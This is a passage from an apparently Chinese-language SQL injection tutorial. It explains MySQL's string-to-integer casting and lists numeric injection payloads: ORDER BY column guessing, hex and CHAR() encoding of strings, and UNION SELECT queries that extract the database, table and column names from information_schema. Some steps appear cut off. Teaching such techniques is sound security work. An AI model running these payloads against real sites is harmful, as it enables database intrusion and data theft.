可以看到user_id这个类型是int整型,当我们的查询像上面的一样的时候,mysql会将字符串强制类型转换成int类型,但是这种转换是有缺陷的!
下面给出三个例子,大家感受一下!
select * from users where user_id = '1abdc';
select * from users where user_id = 'abdc';
select * from users where user_id = '2abdc';
PS:但是这里需要注意的是,在URL中“+”是有特别含义,它表示的是空格。所以在URL中我们需要使用“%2B”来代替“+”。
二、构造payload
简单说明:其实数字型注入就是我们的数据不需要再闭合单引号可以直接注入到查询中。所以之后构造payload部分很大程度和字符型一样。
1、猜测字段数
这里使用order by 来猜测
Payload:
1 order by 1
1 order by 2
1 order by 3
然后我们之后在十六进制前加上0x61646D696E
我们构造的payload像这样即可
select * from users where user = 0x61646D696E;
[2]使用char函数,但这里char函数使用的参数是十进制的ascii数值。比如admin
CHAR(97, 100, 109, 105, 110)
构造的payload像这样即可
select * from users where user = CHAR(97, 100, 109, 105, 110);
3、这里构造最终的payload
获取数据库名:
-1 union select 1,database()
获取表名:
-1 union select table_name,2 from information_schema.tables where table_schema = database()
获取users表的列名
-1 union select column_name,2 from information_schema.columns where table_schema = database() and table_name = 0x7573657273